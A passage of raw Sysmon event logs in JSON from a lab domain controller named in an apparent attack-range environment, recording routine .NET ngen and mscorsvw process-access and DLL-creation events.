12:02:10.322","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42C2-5F2D-0000-00107A8A0D00}","TargetProcessId":"3728","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7438,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:02:14.182\r\nProcessGuid: {90617006-42C2-5F2D-0000-00107A8A0D00}\r\nProcessId: 3728\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\e90-0\\System.Activities.dll\r\nCreationUtcTime: 2020-08-07 12:02:14.182","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:02:14.182","ProcessGuid":"{90617006-42C2-5F2D-0000-00107A8A0D00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\e90-0\\System.Activities.dll","CreationUtcTime":"2020-08-07 12:02:14.182","EventReceivedTime":"2020-08-07 12:02:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7439,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:14.307\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42B7-5F2D-0000-0010D1E30C00}\r\nTargetProcessId: 4896\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:14.307","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42B7-5F2D-0000-0010D1E30C00}","TargetProcessId":"4896","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7440,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:14.307\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42B7-5F2D-0000-0010D1E30C00}\r\nTargetProcessId: 4896\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:14.307","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42B7-5F2D-0000-0010D1E30C00}","TargetProcessId":"4896","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7441,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:14.322\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42C6-5F2D-0000-001063920D00}\r\nTargetProcessId: 4896\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:14.322","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42C6-5F2D-0000-001063920D00}","TargetProcessId":"4896","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7442,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:14.635\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42C6-5F2D-0000-001051970D00}\r\nTargetProcessId: 4556\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:14.635","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42C6-5F2D-0000-001051970D00}","TargetProcessId":"4556","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7443,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:14.635\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42C6-5F2D-0000-001051970D00}\r\nTargetProcessId: 4556\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:14.635","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42C6-5F2D-0000-001051970D00}","TargetProcessId":"4556","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7444,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:14.635\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42C6-5F2D-0000-001051970D00}\r\nTargetProcessId: 4556\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:14.635","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42C6-5F2D-0000-001051970D00}","TargetProcessId":"4556","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:16","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7445,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:02:16.135\r\nProcessGuid: {90617006-42C6-5F2D-0000-001051970D00}\r\nProcessId: 4556\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\11cc-0\\System.Activities.Core.Presentation.dll\r\nCreationUtcTime: 2020-08-07 12:02:16.135","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:02:16.135","ProcessGuid":"{90617006-42C6-5F2D-0000-001051970D00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\11cc-0\\System.Activities.Core.Presentation.dll","CreationUtcTime":"2020-08-07 12:02:16.135","EventReceivedTime":"2020-08-07 12:02:17","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:16","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7446,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:16.197\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42AC-5F2D-0000-0010349D0B00}\r\nTargetProcessId: 4884\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 